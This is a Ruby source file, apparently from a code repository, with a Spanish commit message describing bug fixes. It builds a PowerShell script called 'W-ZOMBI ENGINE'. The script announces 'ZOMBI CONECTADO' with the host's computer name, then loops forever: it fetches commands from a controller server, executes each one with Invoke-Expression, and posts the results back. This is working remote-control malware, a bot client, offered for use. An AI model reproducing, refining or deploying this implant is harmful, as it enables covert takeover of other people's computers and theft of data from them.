Bugs corregidos: - /cmd no existía en server (solo /cmd.json) — agregada ruta explícita - PS1 client pedía /cmd sin Content-Type JSON — cambiado a /cmd.json - JSON fallback: ConvertFrom-Json si Invoke-RestMethod no parsea - Send-Log con UTF-8 encoding explícito - Validación extra: chequea $cmdData.id y $cmdData.cmd antes de ejecutar - Log bilateral: registra comando enviado Y resultado recibido - ZOMBI CONECTADO log al iniciar
61 lines
2.1 KiB
Ruby
61 lines
2.1 KiB
Ruby
module WZombi
|
|
module Engine
|
|
class PS1Builder
|
|
def self.build(host:)
|
|
<<~PS1
|
|
# W-ZOMBI ENGINE v2.1
|
|
$WZ_HOST = "#{host}"
|
|
$LAST_CMD_ID = 0
|
|
|
|
function Get-Cmd {
|
|
try {
|
|
$response = Invoke-RestMethod -Uri "http://$WZ_HOST/cmd.json" -UseBasicParsing -ErrorAction Stop
|
|
# Invoke-RestMethod auto-parsea JSON si Content-Type es correcto
|
|
if ($response -is [string]) {
|
|
return $response | ConvertFrom-Json
|
|
}
|
|
return $response
|
|
} catch {
|
|
return $null
|
|
}
|
|
}
|
|
|
|
function Send-Log {
|
|
param([string]$msg)
|
|
$line = "[$(Get-Date -Format 'HH:mm:ss')] $msg"
|
|
Write-Host "📡 $line" -ForegroundColor Cyan
|
|
try {
|
|
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body ([System.Text.Encoding]::UTF8.GetBytes($line)) -ContentType "text/plain; charset=utf-8" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
|
} catch {}
|
|
}
|
|
|
|
Write-Host "🧟 ゾンビ (Zombi) v2.1 ONLINE - Host: $WZ_HOST" -ForegroundColor Green
|
|
Send-Log "ZOMBI CONECTADO desde $env:COMPUTERNAME"
|
|
|
|
while ($true) {
|
|
try {
|
|
$cmdData = Get-Cmd
|
|
if ($cmdData -and $cmdData.id -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -and $cmdData.cmd -ne "" -and $cmdData.cmd -ne "NO_CMD") {
|
|
$LAST_CMD_ID = $cmdData.id
|
|
Send-Log ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)"
|
|
Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow
|
|
try {
|
|
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
|
|
Send-Log "<<< RESULTADO [ID:$($cmdData.id)]: $result"
|
|
} catch {
|
|
Send-Log "!!! ERROR [ID:$($cmdData.id)]: $($_.Exception.Message)"
|
|
}
|
|
}
|
|
} catch {
|
|
Send-Log "!!! EXCEPCION EN LOOP: $($_.Exception.Message)"
|
|
}
|
|
Start-Sleep -Seconds 5
|
|
}
|
|
PS1
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
|